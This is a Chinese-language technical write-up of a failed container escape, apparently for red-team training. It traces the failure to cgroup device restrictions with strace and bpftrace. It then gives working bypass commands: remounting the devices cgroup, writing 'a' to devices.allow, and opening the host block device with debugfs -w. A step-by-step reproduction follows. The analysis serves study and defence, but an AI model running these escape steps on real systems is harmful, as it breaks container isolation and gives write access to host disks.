"容器逃逸失败"案例分析
字数 1235 2025-08-26 22:11:22
容器逃逸失败案例分析教学文档
背景介绍
在红蓝对抗中的云原生漏洞挖掘及利用实践中,有一种容器逃逸技术是通过在容器内根据设备号创建设备文件,然后读写裸设备来完成逃逸。但在实际测试中发现,即使关闭seccomp、apparmor并添加所有能力,在Docker容器中仍然无法打开设备文件。
问题现象
在容器内执行以下操作会失败:
mknod vda1 b 253 1
debugfs -w vda1
报错信息为"Operation not permitted"。
分析思路
1. 系统调用追踪
使用strace工具追踪系统调用:
strace debugfs -w vda1
发现openat(AT_FDCWD, "vda1", O_RDWR)系统调用返回EPERM错误。
2. 对比宿主机行为
在宿主机上执行相同操作:
strace debugfs -w /dev/vda1
发现openat系统调用成功返回文件描述符。
3. 内核函数调用栈分析
使用bpftrace工具分析内核函数调用栈:
bpftrace -e 'kprobe:lo_open {printf("%s\n",kstack)}'
典型调用栈:
lo_open+1 // 设备驱动层
__blkdev_get+587
blkdev_get+417 // 通用块设备层
do_dentry_open+306
path_openat+1342
do_filp_open+147 // 虚拟文件系统层(vfs)
do_sys_open+388
do_syscall_64+91 // 系统调用层
entry_SYSCALL_64_after_hwframe+101
4. 定位错误返回点
使用bpftrace观察do_filp_open函数返回值:
bpftrace -e 'kretfunc:do_filp_open {printf("%s,%p\n",str(args->pathname->name), retval)}' | grep vda
发现容器中返回0xffffffffffffffff(即-1),而宿主机返回合法地址。
5. 深入分析权限检查
通过分析内核源码fs/namei.c中的inode_permission函数:
int inode_permission(struct inode *inode, int mask) {
int retval;
retval = sb_permission(inode->i_sb, inode, mask);
if (retval)
return retval;
if (unlikely(mask & MAY_WRITE)) {
if (IS_IMMUTABLE(inode))
return -EPERM;
}
if (HAS_UNMAPPED_ID(inode))
return -EACCES;
retval = do_inode_permission(inode, mask);
if (retval)
return retval;
retval = devcgroup_inode_permission(inode, mask); // cgroup相关的检查
if (retval)
return retval;
return security_inode_permission(inode, mask);
}
使用bpftrace验证:
bpftrace -e 'kretfunc:inode_permission {printf("%d\n",retval)}' | grep -v 0
发现容器中inode_permission返回-1。
6. 检查cgroup设备限制
查看容器cgroup设备限制:
cat /sys/fs/cgroup/devices/devices.list
输出示例:
c 136:* rwm
c 5:2 rwm
c 5:1 rwm
c 5:0 rwm
c 1:9 rwm
c 1:8 rwm
c 1:7 rwm
c 1:5 rwm
c 1:3 rwm
b *:* m
c *:* m
c 10:200 rwm
其中b *:* m表示只允许创建设备文件(mknod),不允许读写(rw)。
解决方案
1. 修改cgroup设备规则
按照红蓝对抗中的云原生漏洞挖掘及利用实录中的方法:
# 重新挂载cgroup devices为可读写
mkdir /tmp/dev
mount -t cgroup -o devices devices /tmp/dev/
# 找到当前容器的cgroup路径
cat /proc/1/cgroup |head
# 进入对应的cgroup目录
cd /tmp/dev/system.slice/docker-<container_id>.scope
# 查看当前设备规则
cat devices.list
# 允许对所有设备读写
echo a > devices.allow
# 验证规则已修改
cat devices.list
2. 测试设备文件读写
mknod vda1 b 253 1
debugfs -w vda1
此时应该可以成功访问设备文件。
技术总结
-
根本原因:容器默认的cgroup设备规则限制了块设备文件的读写权限,只允许创建设备文件(mknod)但不允许读写(rw)。
-
解决方案:在有
CAP_SYS_ADMIN能力的容器中,可以重新挂载cgroup文件系统并修改设备规则,从而获得对块设备的读写权限。 -
分析工具:
strace:追踪系统调用bpftrace:分析内核函数调用和返回值cat /sys/fs/cgroup/devices/devices.list:查看当前设备限制规则
-
关键函数:
do_filp_open:文件打开操作的主要函数inode_permission:权限检查函数devcgroup_inode_permission:cgroup设备权限检查
-
安全启示:
- 即使关闭了seccomp和apparmor,cgroup设备限制仍然可能阻止某些操作
CAP_SYS_ADMIN能力非常强大,可以绕过许多安全限制- 容器逃逸需要综合考虑多种安全机制的限制
附录:完整测试流程
- 启动具有所有能力的容器:
docker run --cap-add all --security-opt seccomp=unconfined --security-opt apparmor=unconfined -it quay.io/iovisor/bpftrace:latest bash
- 安装必要工具:
apt update && apt install strace debugfs
- 尝试创建设备文件并访问:
mknod vda1 b 253 1
debugfs -w vda1
- 使用strace追踪失败原因:
strace debugfs -w vda1
- 修改cgroup设备规则:
mkdir /tmp/dev
mount -t cgroup -o devices devices /tmp/dev/
cd /tmp/dev/$(cat /proc/1/cgroup | grep devices | cut -d: -f3)
echo a > devices.allow
- 再次测试设备文件访问:
debugfs -w vda1